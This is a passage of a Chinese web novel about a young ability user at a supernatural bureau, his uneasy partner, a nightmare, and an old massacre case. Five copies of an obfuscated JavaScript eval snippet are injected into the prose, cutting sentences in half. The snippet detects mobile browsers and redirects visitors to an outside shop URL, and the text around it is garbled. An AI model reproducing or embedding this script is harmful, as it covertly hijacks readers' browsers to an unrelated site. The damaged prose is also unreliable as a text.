末了,又补上一句:“要小心啊,苏子沫。” “嗯。” 他礼貌地冲格温点了点头,垂下眼,银刀切断了煎得正好的培根。 …… 吃完早饭,两人离开了格温的别墅。 这个地方有些偏僻,苏子沫提前叫好了车,刚出门就看见那辆黑色轿车停在路边。舒懿默默地跟着他上了车,欲言又止,最后终于鼓足了勇气,忍不住小声开口问: “隔一下音隔一下音!那个……苏,苏子沫,你们口中的那个‘他’到底是谁?” 苏子沫侧过脸,淡淡地看了一眼心痒难耐凑上来问他的女孩。他心里突然浮起点饶有趣味的恶意来,嗤笑一声:“你就别知道了。” “为什么?!” “因为我也不知道。” “我不信。” 舒懿戳戳他的手臂,一字一顿地说。 “是真的。我只是以前一直在听别人不停地提起他,不停地提起他,在我面前。” 苏子沫漫不经心垂下眼睫,不置可否地回答。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385377|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可我没见过那个人,也不知道他叫什么名字,更不知道他是个什么样的人。只知道那人似乎是单设的危险等级x…关于他的资料处理局对我锁得死死的,我几乎什么都不了解。” 危险等级x?危险等级不是只有五级吗? 舒懿皱眉,轻咬着手指关节思索: “可是,那为什么别人要在你面前提他?” “大概是因为……” 青年轻笑。 “我们很像吧。” 她惶急地瞪大了眼睛:“啊?!” “确实是这样。”苏子沫笑了笑,腔调一贯的和风细雨,“毕竟我老是被拿来和他作比较。好了,今天是周六,实习期有双休,先送你回家吧。” 苏子沫肯定还知道些什么……舒懿本想再问下去,但看他转移了话题,大概就是不想多谈。她只好截住话头,问: “那你呢?” “看情况。” “……” 资本主义看了都流泪。 “我说,你还是先在车上休息一会儿吧。”舒懿担心地说,“你刚刚才通宵诶……应该很累吧?还要继续工作吗……” “紧急任务不分时间。” 苏子沫低着头,平平淡淡地说。 “啊……抱歉。” “没事。” 他瞥了女孩一眼。舒懿垂下眼,似乎因刚才的话而有些不安,双手绞在一起。她就像一只小心翼翼的小动物,时不时偷偷地瞅他一下,琥珀般的眼眸中担忧神色简直溢于言表。 看一眼。 “……” 又看一眼。 “…………” 苏子沫叹了口气,往后一靠。他沉默了很久,说:“到了叫我。” 舒懿原本蔫巴巴的,就像霜打过的茄子,不安分的乱毛似乎都耷拉下来了。听到苏子沫的话,瞬间眼睛闪闪发亮,头上仿佛冒出了无数粉色小花:“好的领导,谢谢领导!” 啧。 苏子沫阖上眼皮,额头靠在车窗的玻璃上。 不知为什么,他莫名奇妙有些烦躁;只不过是通宵而已,为什么就觉得他好像就撑不住了一样?而且,他同意休息这是什么值得开心的事情吗,这家伙怎么总是这样有精神……烦死了。 “……” 鲜活生动的情感,麻烦而多余的行为,都是些不入流又幼稚的尘埃慧尾罢了。 好好离开他去找美好未来就好了,安安静静当个摆设等他做完就好了。为什么那么拧,明明什么都做不到。什么都做不到,为什么还要那么努力。 明明只要…… 明明。 他昏昏沉沉地睡着了。 24. 梦境 在梦中,一切都变得轻缓,裹挟着他向下坠去。 一个模糊的声音在他耳边响起来,叫的却好像不是他: “小沫,你要乖……” 苏子沫感觉自己被推搡着,似乎有一个人把手轻轻地搭在他肩上。他理应排斥触碰,可这时却没抗拒,心情几乎是愉悦的。 他感觉自己站住了。 有一个人冲他招招手,笑笑,对他背后那人说:“好了,交给我吧。” 大人牵着他的手,一直向前走去。背后站着的人越来越远,苏子沫本能地想要回头去看,可是前面的人狠狠拽了他一下。走着走着,景色逐渐变得昏暗,那个人把他带进了一个小房间。 房间里,站着一个男孩。 男孩高兴地对他说:“真有你的,你说的是真的吗?那你试试看,假如不行的话……” 试……试什么? 苏子沫后面的话听不清楚了,他只觉得这个孩子的声音很熟悉,可是想不起来是谁。他眯起眼,仍然看不清孩子的样子。只是孩子目光似有决然,让他心里一紧。 迟迟没有得到苏子沫的回答,男孩不高兴了。 “行,我明白了。你去还是我去?你这样不行啊,一个人办事情怎么能这样呢?你以后记得要改……算我们是朋友,这次就我去,下次轮到你!” 去做什么? 这句话像是触发了某种极其不详的东西,咔、咔咔……头顶的吊灯开始摇晃,发出刺啦刺啦的电流声。狭小的房间骤然变得恐怖,白色的墙壁渗出红色的血滴,大颗大颗漫到地板上,吞没了男孩。 “为什么会这样?!为什么会这样!!不应该的,这不可能……救救我!救救我!!!” 男孩哭喊着,抓住了他的衣领。原来,他和男孩一样高,也是个孩子。明明只要拉住男孩就好,面对这一切,他却没有动,也没有握住那只颤抖的小手。 孩子哭泣的脸骤然变得狰狞,恍如厉鬼。 “为什么不救我?!” “为什么不救我。” “为什么不救我……” 为什么 不救我? 血潮席卷着他,把男孩拖向深渊。苏子沫在梦里漠然地倚在什么东西上边,像个局外人一样面对着这一切。 “杀了我吧。” 红色的潮也没过了他的头顶,声音,如同震荡的洪流被解放 尖锐的、响亮的,挤压他,穿透他,抓住他——苏子沫知道自己又控制不住开始做噩梦了,可是醒不过来。只得任凭尖锐的嘶声越来越清晰,像成千上万的玻璃碎片,冲着他当头而下。无数张脸,看不清是谁,只有面容的狰狞与怨毒如出一辙。 “你杀了我吧。” “求求你,让我解脱吧…不要了……求你。杀了我……” 苏子沫动了动手指。 “哈哈哈哈哈,你真可怜,你没有一个人爱你;你死了,也不会有人为你哭,掉一滴眼泪,大家都在拍手叫好。你怎么就不明白,从来都没人在乎你,当然也就没有人会相信你。” “在逃什么?承认吧,其实你早就不是个正常人了。可你偏偏要装得和他们一样,真可怜。不累吗?” “苏子沫,你这样对得起苏璟吗?” 这一瞬间,他忽然被什么东西推了一下,带着一点淡淡的香味。 意识被硬生生唤回,苏子沫挣扎着醒过来,睁开眼睛。 他轻轻抽了一口气。 “嘶……” 女孩可能同样有些困意,也在车上睡着了。司机明显刚刚打过一个大转弯,舒懿大概是睡得太熟的缘故,即使依惯性歪到了他肩上也没有醒。 两个人依靠着,女孩正枕在他的肩膀上,安宁又恬静。 苏子沫愣了一下。从这个角度看过去,她睫毛在眼下打出大片的阴影,两缕不安分的头发顽强地从那头支棱八叉的乱毛里翘出来,朝气得倒近乎可耻了。发丝软软的,不知用了什么洗发水,好像有股淡淡的香味。 他把视线往外移了一点,又买一送一地看见了自己被口水弄湿的大衣。 “……” 艹。 苏子沫磨了磨后槽牙。 啧。 这他爹简直是他洁癖人生中最、大、的、污、点。 难以克制的暴躁情绪略微有些抬头,他深深地觉得自己真是有病,怎么就鬼迷心窍地同意在车上休息了呢? 苏子沫低下头,面无表情地看着睡得人事不知的舒懿。而后,他伸出手轻轻扣住她的脖颈,指尖泛出一点冷冷的蓝光来。 手掌下微微跳动的脉搏,人体暖乎乎的温度贴着皮肤,像一只缩在手心的小动物。他甚至都用不上能力,就能把这个鲜活的生命扼杀在这里。女孩会惊醒,然后拼命挣扎,温热的鲜血会喷得他满手都是,明亮的琥珀色瞳孔会一点点涣散开来,最后成为无机质一般的玻璃球…… 面前舒懿非常没有形象地枕着他,丝毫没感觉到被掐住了脖子。蹭了蹭他,口水流得更欢了。 苏子沫平静无波地看着,好半晌,把手收了回去。狠狠地,一弹额头—— “呜!” 舒懿吃痛惊醒,刚刚想骂人,低头一看—— 。 她心里咯噔一声,暗叫不好。 那么优雅修身的卡其色大衣,原本干净得一尘不染,此刻却被某种晶亮的无色液体弄湿了一小块。而液体的来源…… 完了,完了…… 舒懿双眼无神,战战兢兢地抬头。 “…阿巴阿巴阿巴……” 苏子沫身体略微前倾,歪着头弯了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385378|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛看她,露出一个让人齿寒的温柔笑容: “睡得好吗?” 声音像是从齿缝里挤出来的。 “我错了…………” “错了。” 苏子沫垂下眼帘,慢条斯理地清理着肩膀上的口水渍,轻缓地说: “嗯,不错,就是听起来稍微有点廉价。” “……” “是不是还想说‘我不是故意的’?” “……” “很好,非常好。”苏子沫笑了,突然凑近她:“你应该庆幸这里还有第三个人。” 他身上戾气太重,把舒懿吓了一跳。她下意识往外挪了点,内心乱成了一团被猫咪玩乱的毛线球,抖抖索索地咩咩叫: “领,领导,苏子沫?真的,您信我!我绝对没有要靠近您的意思啊,领导!呜……这都怪我的嘴,我大脑缺失所以对神经中枢的控制力不够……我是煞笔,我是脑残,我抽自己两个大嘴巴子!呜呜我错了…您一定要信我啊!我比您还不想看到这种局面!下次我保证绝对保持离您1米远,对不起领导,我错了领导……” 舒懿后知后觉地发现,自己被苏子沫表面上那道貌岸然的样子蒙蔽了。这家伙似乎不是什么被别人排挤的可怜娃子,而是头嗜血的凶兽,苏醒的时候身上血腥气浓重得呛人。 “希望,你以后可以一直碰到第三个人。” 苏子沫嗤笑一声。 “苏,苏子沫……我错了,我真的……” 压迫感。现在总算明白,为什么那么嚣张拔扈的周扬见了这个人活像耗子见了猫……凑近的时候才发现他真的好高,向下看的时候冰蓝色瞳孔冷得刺骨,让人有种可怕的错觉,仿佛刀尖,锋利的,抵在人的喉间 他扫了舒懿一眼。 她虽比大多数人都傻大胆,可毕竟太年轻了,一眼就能看到底。现在舒懿活像一只鹌鹑一样缩成了一个圆圆小小的球,“嘤嘤嘤”地和他说话,应该是害怕了。苏子沫动作顿了顿,突然觉得有点想笑,那点暴躁就散了。 嗯,吓唬傻孩子的游戏到此为止。苏子沫顿了顿,以光速收起了自己的爪牙,戴上了他温文尔雅的画皮: “嗯?怎么真害怕了?我开玩笑的,没照顾到你的感受,不好意思。” 爹!您的玩笑不仅毫无笑点而且潜台词溢出地球了吧?!我都快心脏病直接发作了好吗?! 姓苏的……真他爹是个狼灭吧? “总之,吓到你我很抱歉。”苏子沫彬彬有礼地冲她点了个头,坐了回去,移开了视线。“下次记得别这样了。” 舒懿背抵着车门,还有点劫后余生的防备,忍不住把手横在身前。苏子沫的眼睛不聚焦,整个人又恢复了惯常的温雅斯文。 然而她已经有点不能直视这张正人君子的脸了。 25. 间歇 “……” 他下了车,戴上眼镜。 苏子沫掏出口袋里的钥匙,刷了一下门禁卡。他走进小区,顺便和门口的保安大叔寒暄了几句,揉了揉眉心。 他的确还有假期,只不过需要随时待命。 “回去稍微歇一会儿,然后再上课吧。”青年漫无目的的想。 上到7楼,“叮”的一声,电梯门开了。 苏子沫刚刚掏出钥匙,这时,对门的住户正好走出来,大概是要去买菜。住户看见了他,热情招呼他去自己家里坐坐。 “小苏啊,怎么这么早回来?昨天没回家吗?” “嗯,昨天住在同学家。王阿姨,好久不见,最近比较忙,谢谢您帮忙照顾我家猫。” “——哪有!太见外了,哈哈。而且也不是我在喂,都是霖霖……”王阿姨笑着说,她对这个有礼貌的孩子很有好感,“要不要进来坐坐?” “谢谢您。不过抱一下猫我就回去。”苏子沫微笑。 “对了,既然这么早,小苏你吃过早饭没有?那正好,来我们家吃啊!霖霖她天天念叨,搞得我都烦了,就当给个面子……” “好啊,不过下次吧。我今天有要事要办,阿姨抱歉。” 温和礼貌的青年和邻居之间聊得很愉快。 最后,王阿姨恋恋不舍地放弃了,对着屋里喊了一声,叫女儿把猫抱出来。正在上初中的女孩子听到对话声,其实早就在客厅偷偷探头听着。现在母亲叫她,分明很欢喜但又努力地保持矜持,甚至都不敢直视他的脸,而是时不时向上瞄几眼。 苏子沫笑了笑,向她走近了几步。 “谢谢你一直照顾它。” “啊,没,我,我本来就很喜欢小动物……而且还是你……总!总之,一点也不麻烦!” 刘霖霖抬眼看了看苏子沫,长长的睫毛像是温顺的狮子,温润的黑色眼睛盛着暖洋洋的笑意。 啊啊啊,太好看了吧……这样的笑容,真的好过分,太过分了。下次要是能悄悄拍一张就好了,和同学们炫耀,她们还不相信! 她甚至觉得头脑发晕。 “谢谢你。那我回去了。” 苏子沫从她手中接过灰色的猫咪,换了个舒服的姿势。 “啊,好……” 之后,他关上了门。 青年轻轻地放下小猫,摸了摸它的头,脸上原本温和的笑容在关门的瞬间消失得一干二净。他面无表情,黑眼睛冷冰冰的。 猫咪用脑袋蹭了蹭他的掌心,舒服地趴下来。可惜它的主人没有和它玩的心思,而是站起来走向了阳台。他脱下身上那件卡其色长大衣,开始在洗衣台上清洗被她弄脏的地方。 虽然他那一时间很生气,苏子沫想了想,但好像并没有多讨厌她,可能是她的表现太搞笑了? 自从他问对方要不要跳槽起,这几天舒懿总是一副奓毛的样子,动不动在背后蛐蛐他,叫他大傻呗。可是青年却没有感受到恶意,有些惊奇和不解。 苏子沫把衣服晾起来,而后回到卧室。他解下领带,换了睡衣。手中的眼镜和蓝色小盒被他放在一边的床头柜上。 睡意渐渐涌了上来,视线变得模糊。 在睡着前,他想到了她那双直视自己的眼睛。 透亮又明净,近乎深金的琥珀色…封冻的却并非时间,而是凝固的火焰。 其实,他并不讨厌那双眼。 …… 在家里,睡眼惺忪的舒懿被赵女士的拍门声弄醒了。 赵女士问她这两天有没有时间去给阿杜帮忙,舒懿随口应了一声。反正处理局周末她也不用来……她翻身起来,按亮了手机,盯着【姓苏的脑残】空空的聊天界面动心思。 (啊真糟糕,原本和他说好了就留三个月的……) 舒懿感到很棘手。 虽然她对自己到底几斤几两有明确的判断,但真的没有一点参与余地吗?舒懿想了想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385379|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得这倒不至于。这不是处理局下发的工作任务,也就是说,苏子沫和格温不能得到其他来自处理局的支持,最多是一些批准和默许。那多一个人也方便些,只要是她能做到的,脏活累活她都愿意干啊。格温负责的是搜索和清扫战场,而苏子沫则是实战部分。如果同意让她加入的话,至少前者她可以起到些作用啊,大不了去当诱饵…… 难的还是苏子沫。 他和她不过是三个月的搭档关系,这个人又习惯独来独往……舒懿揪着自己的头发,感觉提前进入了更年期。根本就不可能同意啊! 不然去问格温?舒懿想起了放在口袋中的那只怀表。 不行。 她摇摇头,自己否决了自己的想法。 苏子沫才是真正的执行者,格温是不会同意自己绕过他,没有征求苏子沫的意见就加入的。毕竟她已经被拒绝过一次了。更何况到时候他们是不是搭档关系都不好说,都没办法用责任当理由来压那家伙了。她必须得说服苏子沫才行。 但是难道就没有一点办法吗? 舒懿问自己。 仿佛自己的欲言又止,舒懿望着对话框那闪烁的光标。 事情应该要有另外的可能。 格温说过,他好像有些在意我? 舒懿想,或许这是个突破口。要是她能知道苏子沫在意什么就好了……不对,她在想什么乱七八糟的?至少自己能看出来,苏子沫总是一个人面对事情的原因是不信任别人。那争取做一个可信的人就好了,不能走歪路。实在不行…也就不去了。人不能有问题,这是最重要的。 舒懿长按删除键,把打出来的字全部删掉了。她关掉了手机,却感到异常的轻松。 现在还不是时候。 于是,她下了决心:顺其自然,做好一切她能做的,这就是对问题最好的回答。在没有行动之前,任何语言都是苍白无力的。 舒懿穿上外套,出门去酒店帮忙去了。 26. 尘封往事 局长郑海洋看了一眼戴在右手腕上的表,推开接待室的门。 目光抬起,有个中年人正坐在黑皮沙发上,冲他点头致意。那人头发是种偏金的浅棕色,脸上棱角分明,看上去约摸四十岁。他用热水冲洗茶具,掂起茶壶,加满了另一只茶杯。 郑海洋缓步走过去,在他对面坐下来。 “郁文,你找我?” 被称为郁文的男人慢悠悠吹了下杯中红茶:“你能不能别那么功利?咱老朋友难道不能叙叙旧?” “得了吧,”郑海洋嗤笑一声,“苏璟那家伙鬼精鬼精,你从他那讨不到好,所以就从我这儿旁敲侧击,就看着我好忽悠?” 方郁文脸上的笑容有点凝固了。他若无其事地放下瓷杯,交叉十指: “得,这样也好……那我就直接问了,郑局,那案子是你负责的?” 郑海洋从口袋里摸出一盒烟来,叼在嘴里,点上,漫不经心地回答: “就这破事儿啊,陈年旧案,都过去十一年了……就是用盐腌过也得烂得干干净净,怎么总有像你这挖坟的家伙,尽提那些陈谷子烂芝麻事。” “不,”方郁文往前倾了点,“案子本身不重要。重要的,是你们带出来的那个小孩。” “别提了,”郑局长抬手打断他,“苏璟带出来的人,我是不怎么明白你们为啥总是凑上来找我。” “慢着。” 方郁文从身后的公文包里拿出一叠档案模样的东西,按在桌上,往郑海洋面前一推。 “先看看这个。” 郑海洋叹了口气,接过去随手翻了几下,可脸色却倏地变了。 “……” 淡淡的白烟,裹着忽明忽暗的橘红色火光,烟灰倦怠地散落。 一支烟,烧到了底。 最后,他把烧到底的烟头掐了,在烟灰缸里拧了拧。郑海洋往后一靠,神色疲惫。 “你想问什么?” 方郁文指尖在照片上轻轻地敲击,仿佛扣动扳机: “档案上写得清清楚楚,能量外放型,念动力系,先天能力者……你们就没觉得奇怪吗?” “唉……你挑明了说,别问我,我只负责公安系统,不插手你们处理局的事。” “整个总部,能达到他这个级别的能力者也是屈指可数。可惜其他都是早过半百的老家伙,只有他一个刚成年的毛头小子。但他不像那些靠拼命努力积累上去的天才们,是个仅凭天赋的怪物,同样的怪物还有一个,现在还列在通缉名单榜首上明晃晃地挂着呢。” “当时你们怎么找到他的?” 郑海洋沉默片刻,轻轻长叹了一声,看向杯中自己的倒影。 秋日阳光穿过接待室临街窗户的玻璃,照射在深红色的液体表面,像是黄金,缓慢地溶解。这张脸不像从前那样年轻了,那时他还是刑警大队的队长,第一次处理那么大的案子。 “十一年前……” 十一年前,郑海洋他们小组在负责一组拐卖儿童的系列案件。被拐儿童大部分集中在十岁以内,所有证据都表明,这背后恐怕是有组织的一整套黑色产业链。 他们不能贸然出手,害怕打草惊蛇,而是要等摸透犯罪分子的老巢,再将他们一网打尽。 没日没夜的加班加点,终于确定了犯罪分子的窝藏地点,郑海洋瞳孔紧缩,他等待这一天已经等待了太久。 警员们各就各位,郑海洋和几名警察来到废弃工厂的大门……大门被一根生锈的铁链锁住,表面上看完全不像有人进出的样子。 郑海洋对着铁链射击,一脚踹开铁门!金属发出尖锐的撞击声,铁链坠地,他大吼: “不许动,警察!!!” 没有声音回应他。他双手持枪,和其他人交换了一个眼色,迅速进入了大门内。 厂房没有异样,带着一股陈旧的泥土味。没有人,没有声音,但地板灰尘的积累程度告诉他们,这里的确有蹊跷。 “这里似乎有个入口!” 一名警员指着被几台机器挡住的厂房地面。他们迅速跟过去,深吸一口气,合力抬起厚重的金属顶板。 向下延伸的水泥楼梯暴露在眼前,黑洞洞的入口仿佛魔鬼的喉咙。阴冷的风卷过人们的鼻尖,夹杂着淡淡的甜腥味道。 血腥味…… 血腥味?! “呼……” 他深吸一口气,枪口指向前方。他说: “必须下去看看。” 一步,一步。刑警步子轻得像猫,背后同事手中照明设备的光束利剑一样刺入黑暗的喉咙。心跳仿佛擂鼓,男人的汗水流进眼睛里,火辣辣的…… 楼梯底部是一扇铁门。 他咽了口唾沫,像是撕开一份恶魔礼物的包装纸那样,缓缓推开了门。 “操……” 饶是见过无数恶劣的凶杀案现场,警察们还是为铁门里的人间惨像所震惊。一个同僚当场转过身呕吐起来,浓郁的血腥味像是有毒的蛇,往每个人的肺里疯狂地钻。 “十一年前,扫黑除恶办找到了一个拐卖儿童的团伙。” 平静的声音把他的思绪从那个人间地狱中拉回,尽管是自己的声音,他却觉得不像是出于大脑,更像是一种惯性。 因为那个场景早已刻入了他的记忆,像是老旧的唱片,唱针沿着记忆的沟纹缓慢地移动,暗红色的音符充满了血腥味。 他轻轻地说。 潮水,血浆像是暗红色的潮,积在地面足有一厘米深。内脏、器官、骨血、人的肢体,散落一地,堆积成山。 到底死了多少人,才能造就这样的地狱? “……先……先找找看,有没有幸存者……” 郑海洋勉强吊着最后一丝理智,强忍着恶心踏入血泊中,一只手捂着自己的鼻子。 “这到底是哪个丧失人性的疯子做的……” 人类的语言太苍白,苍白到无法描述那场景的万分之一。十一年后,他平平淡淡地说,把地狱概括成寥寥数语。 “但当我们闯入时,所有人已经……全部死了。像是下了场尸雨,死状凄惨,痛苦无比,‘血流漂橹’原来真的存在,你知道么?” 原来的照明设备已经被什么破坏了,墙上的开关按了好几次也没有反应。尽管在这种环境下搜查很不容易,还可能有潜在的危险,警察们还是没有放弃任何一丝的可能性。他们分头行动,越过无数的尸体。 突然,郑海洋听见一个角落的柜子里有轻微的响声!他的心脏剧烈地跳动,是幸存者,还是—— “有人吗?不要害怕,我是警察……”他循着声音慢慢靠近柜子,柔声说。 柜子里的生物没有回答,只是发出低低的、微弱的哭泣。 “不要怕,没事了,已经没事了……我来救你了,不要怕。” 他打开了柜门。 还好,是一个孩子,人类的小孩,不是什么怪物……郑海洋松了一口气。他蹲下身,犹豫了一下,把配枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385380|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别在身后,一只手打着明黄色的手电。可怜的孩子…… “你还好吗?” 浑身血污的男孩把自己埋在腿弯里,伤心地哭泣。他只穿着破破烂烂的T恤和短裤,被暖黄色的灯光照着,看上去像浅金色的头发被几处凝固的血块糊住了。 “喂,喂?你还好吗,有没有受伤?” 听到男人温柔的声音,小小的男孩颤抖着慢慢抬起头来。 年轻的警官愣住了。 男孩的眼珠是种罕见的、冻结般的冰蓝色。 长长的睫毛低垂着,空虚的冰蓝色眼睛,瞳孔中央有些偏黑,分明没有一丝光,却有种幽深的清澈。但这不是重点,男人的视线下移,停留在男孩的脸上: 喷溅状的血迹。 他的表情产生了细微的变化,动摇,恐惧,疑惑……而后,郑海洋还是慢慢地抱住了哭泣的男孩。 “没事了,已经没事了……” 哈哈……多么卑劣,他居然在一瞬间怀疑过一个孩子。 “我们搜查了每一个角落,几近绝望,直到在一个隐蔽的柜子里发现了一个满身血污瑟瑟发抖的小男孩,这就是我们唯一的幸存者。” 郑海洋低声说: “想残忍地杀死一个人很容易,可残忍地杀死那么多人却非常困难。几百条人命,还是以那种手段……即使有能力做到,人的心理状态也不可能允许,更何况那只是个六七岁的孩子。所以我们一开始,谁都没有怀疑他。” “你们认为他既没有实施犯罪的能力也没有实施犯罪的心理条件。”方郁文接过郑海洋的话茬,笑了笑。 “问题在于,其后他展现出的能力……” “非常、非常、非常惊人,那根本不是人类应该掌握的力量。蠢才、凡人、懈怠的天才、努力的天才,他都不是,那孩子是怪物。能力者的力量大多被限制在一个大概的区间内,但他远远超过了已知的极限。” “可……既然是先天能力者,又是为什么会在那个地方?”他低笑一声,笑声冰冷,“你觉得……他会是当年的凶手吗?” “正因如此,他才在一个那么偏僻的分部工作。”郑海洋叹了一口气,往后一靠。“还派遣了‘观察者’……你们一直怀疑凶手是他。” “你也知道,我们没第二次相信的机会了。” 方郁文低头看着自己的茶杯,笑了一下,轻声说: “倘若他真是凶手,就没办法重用……可即使他一直没什么资源,饶是如此,那小子的能力也成长到了一个非常恐怖的层次。” 让人担忧啊。 郑海洋眉头倏地一皱,随后想起了什么似的,脸色一白,眼中透出毫不掩饰的恐惧: “等等,你是说……那孩子让你想到了……他?” 处理局的噩梦,简直是撒旦化身的那个男人,唯一的危险等级x。作为二十年前命案现场的幸存者,曾经彬彬有礼、温和礼貌的年轻人,天赋异禀,最后却…… “唉……正是。” 方郁文伸手盖住自己的眼睛,手肘不小心碰到他放在桌子上的那叠东西,里面飘出一张没夹好的相片。 上面是个灰发蓝眼的少年,清秀俊美,对着镜头面无表情地睁着一双苍白空洞的冰蓝色眼睛。 看起来人畜无害。 方郁文偏头看了那张相片一眼,只能露出一个苦笑。 苏子沫……吗。 究竟是会成为我们对抗他的希望,还是下一个他呢…… 27. 鸿门宴 苏子沫是被电话的铃声吵醒的。 “……” 他勉强睁开眼睛,微微发亮的电子屏上显示“11:56”,杨铭的来电。苏子沫从被窝里伸出手,摸了两下抓住,按下接通键: “什么事。” 【小苏,上面要来人找你,你知道吗?】 男人沉静稳重的嗓音。 “不是任务?” 【不是……】 杨铭的口气有些无奈。 【不要老想着工作嘛……】 “那能干什么。” 苏子沫坐起身披了件衣服,揉了揉眉心。 【不好说,听说是来调查你的,还有那个以前把你从那里带出来的郑警官。】 “嚯?” 苏子沫低头笑笑,轻蔑又讽刺。他顺手打开热水器,重新加热泡咖啡的热水,歪头夹着手机: “我有什么好调查的?” 【哈哈,我也觉得。准确来说,是来考查你的。总部的人,叫方郁文的那个,搜了一下你的资料,说是发现了什么疑点。然后他去找了郑局了解你以前的细节,但是没找苏璟。】 “接着说。” 【郑局是信任你的,他把这事和我说了。他不太信方说的那些东西,但是看得出来,有点半信半疑。今晚有空吗,吃个饭。】 “哈哈哈哈,”苏子沫笑起来。他把热水倒进马克杯中,目睹粉末溶解,腾起丝丝缕缕的白色蒸汽:“鸿门宴是吗……嗯,都有谁?” 【那我把时间和地址发给你。郑局和方都在,还有我。不过还有些想升总部的人,你小心点,他们看不惯你,肯定会在领导面前想法子给你使绊子。方既然是来考查你的,对你应该不会有什么好印象,到时候容让点。你这边做不好,我和苏璟都会加工作。】 “诶呀诶呀,毕竟是领导……” 苏子沫用小铁勺搅拌着杯中的咖啡,垂下冰蓝色的眼睛,笑着说: “放心吧,演戏而已。” 【你小子……】 “我错了,杨长官。我是说,我保证会发自内心地感谢领导的大驾光临,争取郑警官的信任,让领导改观,不会给您添一点麻烦。顺便让那些想揭穿我的人把话咽回去,好让‘谣言’不攻自破。” 苏子沫喝了一口咖啡,毫无诚意地说。 【希望你最好说到做到。】 电话挂断了,他把杯中的咖啡一饮而尽。 苏子沫放下手机,去厨房的冰箱里翻找了一下材料。他随便煮了一碗青菜面,加了一个荷包蛋当午饭。 清洁碗筷,收拾完餐桌,青年回到书房。微微调整了一下平板的高度,他一边放网课,一边拿着黑色水笔在教材上写写画画,做笔记。 作为处理局的特殊执行员,他在大学申请了免听,平时不需要去现场上课。只需要完成课堂作业和任务,然后参加期末考试即可。但偶尔,苏子沫平时有空,也会去阶梯教室听课。 他总是默默地坐在不起眼的位置,看着老教授激昂文字,引经据典。午后金色的阳光总是斜铺进讲台的一尺,白色的粉笔灰在光柱中慢悠悠地浮游。 尽管苏子沫选择中文系的初衷是为了理解人类,压制自己的戾气。但这时候,他莫名会有些内心的翕动,似乎……这样也不错。 但是往往,上到半途,他就得被迫离开。 教授刚开始还有些生气,但在他讲明情况后就没了怒气。似乎想说什么,拼命忍了很久,最终化作一声叹息。 眼神像是在看一个孩子。 “造孽啊……” 老人问他要不要来当课题的助手。 尽管有些演戏的成分,但苏子沫还是忍不住和老人多说了两句: “没关系的,老师。您瞧,我并没有父母出钱供我读书,如果我没有这份工作,我就只能去勤工俭学,申请助学贷款。但这还是要工作的,不是吗?我现在有房子住,自己负担自己的支出,这不是一件好事么。是政府救了我,我是由政府的人带大的,我不能就这么理所当然地花他们的钱。以后读完书还是要出来工作的,大概率还是在这里,没有太大的区别。而且,我如果不工作,就会影响到别人,太麻烦了。谢谢您关心我,但是这是没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385381|200222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办法的事。” 多好啊,普通地活着,普通地在世界上行走,最后普通地死去。四季的风吹拂不息,生于自然,也落归尘土。 所有学生都在阳光下熙熙攘攘,可是他不一样。 他的下半身浸在肮脏刺骨的烂泥里。 第一次去的时候,学习委员还吓了一跳。点名册里的那个名字永远是被跳过的,有些同学开学时还讨论过这个幽灵人。不过后面大家都习惯他中途来,中途走,教师也接着上自己的课。 这样就好。 